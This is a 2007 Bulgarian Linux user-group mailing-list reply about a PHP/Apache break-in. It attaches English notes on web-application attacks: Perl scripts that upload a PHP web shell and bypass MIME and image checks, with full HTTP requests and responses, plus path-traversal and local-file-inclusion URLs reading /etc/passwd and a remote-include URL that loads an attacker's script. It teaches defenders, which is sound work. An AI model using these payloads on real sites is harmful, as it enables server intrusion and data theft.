Re: [Lug-bg] пробив през апаче и пхп :(
- Subject: Re: [Lug-bg] пробив през апаче и пхп :(
- From: Marian Marinov <mm@xxxxxxxx>
- Date: Thu, 12 Jul 2007 12:25:03 +0300
В прикаченото файлче съм описал основните атаки върху web applications.
Най-често в момента се случва да се използват атаките върху getimagesize
function-а на PHP.
За съжаление, няма директно решение на проблема с getimagesize :(
Поздрави
Мариан
On Thursday 12 July 2007 11:08:38 Valery Dachev wrote:
> Имах подобен проблем с един от сайтовете при мен. Можеш в php.ini да
> добавиш примерно:
>
> /disable_functions = exec,passthru,system,proc_open,shell_exec/
>
> С това ще забраниш изпълнението по-често използваните функции за
> изпълнение на команди.
>
> Преди това обаче е добре да разбереш как успяват да накарат PHPто да
> изпълнява въпросните функции. В моя случай в бъгавият сайт имаше глупост
> от типа на:
>
> /include( $path . "/neshtosi.php" );/
>
> Променливата $path не винаги се установяваше и хахорите извикваха адрес
> от типа на:
>
>
> /http://my.site.com/shitty-script.php?path=http://their.site.com/their-scri
>pt.txt&/
>
> Ако имаш много сайтове и не можеш да разбереш през кой от тях ти правят
> мизерията, погледни кой е потребителят-собственик на изтеглените
> файлове. Това би свършило работа, ако PHP работи като CGI и използваш
> SUExec. Ако е като модул и имаш късмета да си с Apache 2, пробвай да
> инсталираш MPM ITK (в Debian и Ubuntu пакетът е apache2-mpm-itk).
> Разбереш ли кой е потребителят, ще трябва да претърсиш файловете им за
> include, include_once, require и require_once, за да видиш кои от тях
> използват динамични несигурни пътища. Нищо чудно това да е стара версия
> на софтуер с известни проблеми.
>
> Поздрави,
> Валери.
>
ATTACK 1:
#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new; # UserAgent is an HTTP client
$res = $ua->request(POST 'http://localhost/upload1.php', # send POS
Content_Type => 'form-data', # The cont
# multipart/form-data ? the standard for form-based fi
Content => [
userfile => ["shell.php", "shell.php"], # The body
# request will contain the shell.php file
],
);
print $res->as_string(); # Print out the response from the server
RESULT:
POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY--
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4
Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.
COMMAND EXECUTION:
$ curl http://localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)
VERIFING THE MIME TYPE:
<?php
if($_FILES['userfile']['type'] != "image/gif") {
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
RESULT:
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
<?php
system($_GET['command']);
?>
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 13 Jun 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4
Content-Length: 41
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images
ATTACK 2:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/upload2.php',
Content_Type => 'form-data',
Content => [
userfile => ["shell.php", "shell.php", "Content-Type" => "image/gif"],
],
);
print $res->as_string();
RESULT:
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 13 Jun 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4
Content-Length: 59
Connection: close
Content-Type: text/html
<pre>File is valid, and was successfully uploaded.
</pre>
VALIDATING IMAGE CONTENT:
<?php
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
COMMAND:
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 13 Jun 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4
RESULT:
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images
ATTACK 3:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://localhost/upload3.php',
Content_Type => 'form-data',
Content => [
userfile => ["crocus.gif", "crocus.php", "Content-Type" => "image/gif"],
],
);
print $res->as_string();
RESULT:
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of the binary data ...)
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
<pre>File is valid, and was successfully uploaded.
</pre>
FILENAME EXTENSION VERIFICATION:
<?php
$blacklist = array(".php", ".phtml", ".php3", ".php4");
foreach ($blacklist as $item) {
if(preg_match("/$item\$/i", $_FILES['userfile']['name'])) {
echo "We do not allow uploading PHP files\n";
exit;
}
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
RESULT with php ext:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
We do not allow uploading PHP files
RESULT with gif ext:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
<pre>File is valid, and was successfully uploaded.
</pre>
How is the code executed then?
UPLOAD FILES OUTSIDE WEBROOT:
<?php
$uploaddir = '/var/spool/uploads/'; # Outside of web root
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
GET THE FILE(show.php):
<?php
$uploaddir = '/var/spool/uploads/';
$name = $_GET['name'];
readfile($uploaddir.$name);
?>
ATTACK:
http://www.example.com/show.php?name=../../../../../../../etc/passwd
LOCAL FILE INCLUSION ATTACKS(lang.php):
<?php
# ... some code here
if(isset($_COOKIE['lang'])) {
$lang = $_COOKIE['lang'];
} elseif (isset($_GET['lang'])) {
$lang = $_GET['lang'];
} else {
$lang = 'english';
}
include("language/$lang.php");
# ... some more code here
?>
http://www.example.com/lang.php?lang=../../../../../../../etc/passwd
SOLUTION:
random filenames kept in DB
Other problems:
Denial of Service(DoS)
Performance
solutions:
chaching
proxy
server for static content
Access control
_______________________________________________
Lug-bg mailing list
Lug-bg@xxxxxxxxxxxxxxxxxx
http://linux-bulgaria.org/mailman/listinfo/lug-bg
|